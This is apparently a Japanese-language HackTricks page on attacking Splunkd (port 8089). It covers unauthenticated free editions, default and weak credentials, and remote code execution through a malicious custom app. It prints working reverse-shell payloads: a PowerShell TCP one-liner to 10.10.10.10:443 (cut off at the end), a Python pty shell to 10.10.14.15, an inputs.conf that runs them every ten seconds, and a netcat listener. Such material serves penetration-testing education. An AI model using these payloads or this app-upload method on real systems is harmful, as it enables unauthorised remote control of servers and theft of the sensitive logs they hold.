10 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
基本情報
Splunkは、データの収集、分析、可視化において重要な役割を果たすログ分析ツールです。その初期の目的はSIEM(セキュリティ情報およびイベント管理)ツールとして機能することではありませんでしたが、セキュリティ監視やビジネス分析の分野で人気を博しています。
Splunkのデプロイメントは、機密データを保存するために頻繁に利用され、システムを侵害することに成功した場合、潜在的な攻撃者にとって貴重な情報源となる可能性があります。デフォルトポート: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunkウェブサーバーはデフォルトでポート8000で実行されます。 {% endhint %}
列挙
無料版
Splunk Enterpriseのトライアルは60日後に無料版に変わります。この無料版は認証を必要としません。システム管理者がSplunkのトライアルをインストールしてテストすることは珍しくなく、その後忘れ去られることがあります。これにより、認証のない無料版に自動的に変わり、環境にセキュリティホールが生じます。一部の組織は予算の制約から無料版を選択することがありますが、ユーザー/ロール管理がないことの影響を十分に理解していません。
デフォルトの資格情報
古いバージョンのSplunkでは、デフォルトの資格情報は**admin:changeme
**であり、ログインページに便利に表示されています。
しかし、最新のSplunkのバージョンでは、インストールプロセス中に資格情報が設定されます。デフォルトの資格情報が機能しない場合は、admin
、Welcome
、Welcome1
、Password123
などの一般的な弱いパスワードを確認する価値があります。
情報の取得
Splunkにログインすると、データをブラウズしたり、レポートを実行したり、ダッシュボードを作成したり、Splunkbaseライブラリからアプリケーションをインストールしたり、カスタムアプリケーションをインストールしたりできます。
また、コードを実行することもできます:Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、コードを実行するための複数の方法があります。Splunkサーバーでリモートコード実行を得る一般的な方法は、スクリプト入力を使用することです。
さらに、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。
Shodan
Splunk build
RCE
カスタムアプリケーションの作成
カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。
SplunkにはPythonがインストールされているため、WindowsシステムでもPythonコードを実行できます。
こちらのSplunkパッケージを使用して支援できます。このリポジトリの**bin
**ディレクトリには、PythonとPowerShellの例があります。これをステップバイステップで進めていきましょう。
これを達成するために、まず次のディレクトリ構造を使用してカスタムSplunkアプリケーションを作成する必要があります:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
ディレクトリには、私たちが実行することを意図した スクリプト(この場合、PowerShell リバースシェル)が含まれ、デフォルトのディレクトリには inputs.conf
ファイルがあります。私たちのリバースシェルは PowerShell ワンライナー になります:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
inputs.conf ファイルは、Splunk に どのスクリプトを実行するか およびその他の条件を指示します。ここでは、アプリを有効に設定し、Splunk にスクリプトを 10 秒ごとに実行するよう指示します。間隔は常に秒単位であり、この設定が存在する場合にのみ入力(スクリプト)が実行されます。
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
.bat
ファイルが必要で、これはアプリケーションがデプロイされるときに実行され、PowerShellのワンライナーを実行します。
次のステップは、Install app from file
を選択し、アプリケーションをアップロードすることです。
悪意のあるカスタムアプリをアップロードする前に、Netcatまたはsocatを使用してリスナーを開始しましょう。
sudo nc -lnvp 443
listening on [any] 443 ...
Upload app
ページで、ブラウズをクリックし、以前に作成したtarballを選択してUpload
をクリックします。アプリケーションをアップロードするとすぐに、アプリケーションのステータスが自動的にEnabled
に切り替わるため、リバースシェルが受信されます。
Linux
Linuxホストを扱っている場合、カスタム悪意のあるアプリをtarballとして作成してアップロードする前に、rev.py
Pythonスクリプトを編集する必要があります。残りのプロセスは同じで、Netcatリスナーでリバースシェル接続を取得し、すぐに進むことができます。
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
以下のページでは、このサービスが特権を昇格させ、持続性を得るためにどのように悪用されるかの説明を見つけることができます:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
References
{% hint style="success" %}
AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。